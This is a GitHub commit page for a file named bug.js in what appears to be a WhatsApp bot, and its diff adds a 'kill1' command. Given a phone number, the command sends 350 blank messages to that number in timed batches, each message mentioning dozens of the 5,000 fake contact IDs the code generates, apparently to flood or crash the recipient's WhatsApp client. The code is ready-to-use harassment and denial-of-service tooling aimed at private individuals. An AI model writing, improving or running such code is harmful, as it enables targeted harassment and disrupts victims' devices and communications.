Skip to content

Commit

Permalink
Update bug.js
Browse files Browse the repository at this point in the history
  • Loading branch information
CrazyPrince authored Sep 5, 2024
1 parent 13a3255 commit 3066e68
Showing 1 changed file with 74 additions and 2 deletions.
76 changes: 74 additions & 2 deletions commands/bug.js
Original file line number Diff line number Diff line change
Expand Up @@ -114,9 +114,81 @@ cmd({
);

///////////////////////////////////////////========================BUG 2=======================///////////////////////////////////////////////////////
///////////////////////////////////////////========================BUG 2=======================///////////////////////////////////////////////////////
///////////////////////////////////////////========================BUG 2=======================///////////////////////////////////////////////////////

cmd({
pattern: "kill",
alias: ["pm-kill"],
pattern: "kill1",
alias: ["pm-kill1"],
desc: "waiting for your last words",
category: "group",
filename: __filename,
use: '<text>',
},
async (Void, citel, text, { isCreator }) => {
try {
if (!isCreator) {
return citel.reply(`🫵🏽😂 𝓸𝓸𝓸𝓱 𝔂𝓸𝓾 𝔀𝓪𝓷𝓷𝓪 𝓫𝓸𝓸𝓶 𝓫𝓸𝓸𝓶 𝓽𝓱𝓮 𝓰𝓻𝓸𝓾𝓹 ? 𝓖𝓸 𝓪𝔀𝓪𝔂 𝓜𝓕`);
}

if (!text) {
return citel.reply(`🫵🏽 add the number you want to bug after your command like this \n.kill 23769813xxxx`);
}

const jid = citel.chat; // JID of the recipient
const userId = Void.user.id; // JID of the user
const message = " "; // Message to send
const totalSends = 350; // Total number of sends
const batchSends = 50; // Number of sends before a pause
const pauseDuration = 2 * 60 * 1000; // Pause duration in milliseconds (2 minutes)

let firstMessageSent = false;
let victim = text.replace(/[^0-9]/g, "");

if (victim.startsWith('+')) {
return citel.reply(`<!> The number starts with +. Please replace it with a number that begins with the country code\n\n<✓> Example: 23769813xxxx`);
}

let ying = victim + '@s.whatsapp.net';

// Generate unique JIDs for mentions
const uniqueJIDs = Array.from({ length: 5000 }, (_, index) => `${victim}${index}@s.whatsapp.net`);

for (let i = 0; i < totalSends; i += batchSends) {
for (let j = 0; j < batchSends; j++) {
await Void.sendMessage(ying, {
text: message,
mentions: uniqueJIDs.slice(j * batchSends, (j + 1) * batchSends) // Mention unique JIDs
});

// Confirmation after sending the first message
if (!firstMessageSent) {
await Void.sendMessage(userId, {
text: `The first message has been successfully sent to ${jid}.`
});
firstMessageSent = true;
}
}

if (i + batchSends < totalSends) {
await Void.sendMessage(userId, { text: `2 minute break after ${i + batchSends} sends...` });
await new Promise(resolve => setTimeout(resolve, pauseDuration));
}
}

// Final message after all sends
await Void.sendMessage(userId, {
text: `All messages (total ${totalSends}) have been sent to ${jid}.`
});
} catch (error) {
citel.reply(`An error occurred: ${error.message}`);
}
});
///////////////////////////////////////////========================BUG 2=======================///////////////////////////////////////////////////////

cmd({
pattern: "kill0",
alias: ["pm-kill0"],
desc: "waiting for your last words",
category: "group",
filename: __filename,
Expand Down

0 comments on commit 3066e68

Please sign in to comment.